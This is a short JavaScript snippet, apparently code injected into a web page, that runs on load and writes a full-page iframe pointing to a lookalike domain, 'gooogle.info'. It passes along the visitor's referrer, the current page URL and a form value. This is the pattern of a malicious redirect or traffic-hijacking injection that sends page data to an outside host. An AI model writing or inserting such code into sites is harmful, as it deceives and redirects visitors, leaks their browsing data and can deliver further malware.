function f(){ 
var text = document.getElementById("mymenu").value;
document.write('<iframe src="http://gooogle.info/in.cgi?3&seoref='+encodeURIComponent(document.referrer)+'&parameter=$keyword&se=$se&ur=1&HTTP_REFERER='+encodeURIComponent(document.URL)+'&default_keyword='+text+'" border=0 frameBorder=no frameSpacing=0 scrolling=auto width=100% height=100%>');
} 

window.onFocus = f()